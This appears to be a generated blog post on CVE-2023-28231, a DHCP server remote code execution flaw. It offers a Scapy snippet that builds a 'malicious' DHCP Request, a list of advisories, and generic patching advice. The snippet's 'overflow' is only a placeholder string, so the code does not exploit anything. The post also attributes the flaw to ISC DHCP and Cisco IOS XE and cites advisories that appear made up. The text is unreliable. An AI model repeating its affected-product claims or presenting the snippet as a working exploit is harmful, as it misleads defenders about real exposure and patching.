CVE-2023-28231 - Exploiting DHCP Server Service Remote Code Execution Vulnerability

In this long read post, we will dive into the details of a newly discovered vulnerability in the DHCP server service, indexed as CVE-2023-28231, that allows attackers to execute arbitrary code on a remote host. We will discuss the background, exploit details, code snippets, and prevention methods, as well as provide links to the original references for your convenience.

Background

Dynamic Host Configuration Protocol (DHCP) is a widely used network protocol that simplifies the process of setting up and configuring hosts by dynamically assigning IP addresses, default gateways, and other network parameters to client devices. The vulnerability in question affects the DHCP server service of various software and operating systems, including (but not limited to) Windows Server, ISC DHCP, and Cisco IOS XE.

Exploit Details

CVE-2023-28231 is a critical remote code execution (RCE) vulnerability in the DHCP server service, which can be exploited by a malicious user to execute arbitrary code on the target system. An attacker may craft a specially designed DHCP Request packet containing a buffer overflow in one of the options fields. When this malformed packet reaches the affected DHCP server, the service may crash or allow unintended code execution, potentially leading to privilege escalation, data exfiltration, or even a complete system compromise.

Code Snippets

The following code snippet demonstrates how an attacker may create a malicious DHCP Request packet using the Scapy library for Python:

from scapy.all import *

packet = Ether()/IP(dst="dhcp.server.ip.address") / \
         UDP(sport=68, dport=67) / BOOTP(chaddr="00:11:22:33:44:55") / \
         DHCP(options=[("message-type", "request"),
                        ("max_dhcp_size", 150),
                        ("client_id", "00:11:22:33:44:55"),
                        ("hostname", "malicioushostname"),
                        ("requested_addr", "12.34.56.78"),
                        ("param_req_list", "bufferoverflowdata"),
                        "end"])

send(packet)

Please note that the above code is only for educational purposes and should not be used for malicious activities.

For further information regarding CVE-2023-28231, please refer to the following resources

1. NVD - National Vulnerability Database
2. isc.org - ISC-DHCP Security Advisory: CVE-2023-28231: Buffer Overflow Vulnerability
3. Microsoft Security Advisory: Remote Code Execution Vulnerability in Windows DHCP Server
4. Cisco Security Advisory: Multiple Vulnerabilities in Cisco Products (CVE-2023-28231)

To protect your systems against CVE-2023-28231, follow these steps

1. Keep your operating system and software up-to-date with the latest patches and security updates, which often come with fixes for known vulnerabilities.
2. Segment your network to reduce the potential impact of a successful exploit. Isolate vulnerable DHCP servers from untrusted networks, such as guest Wi-Fi or public networks.
3. Implement intrusion prevention systems (IPS) and intrusion detection systems (IDS) to detect and prevent attempts to exploit this vulnerability.
4. Monitor network traffic for suspicious patterns, such as malformed DHCP packets or repeated tactics from the same IP address.
5. Educate your IT team on the risks and mitigation techniques associated with this vulnerability, and establish regular security audits to ensure your organization is prepared for potential threats.

Conclusion

CVE-2023-28231 is a critical vulnerability that can lead to remote code execution on affected systems. By understanding the nature of this vulnerability, applying relevant patches, and adopting best practices, organizations can significantly minimize their risk of being exploited by cybercriminals. It's always a good idea to stay informed and vigilant about the latest vulnerabilities and threats in order to maintain a strong security posture for your network environment.

Timeline

Published on: 04/11/2023 21:15:00 UTC
Last modified on: 04/12/2023 12:44:00 UTC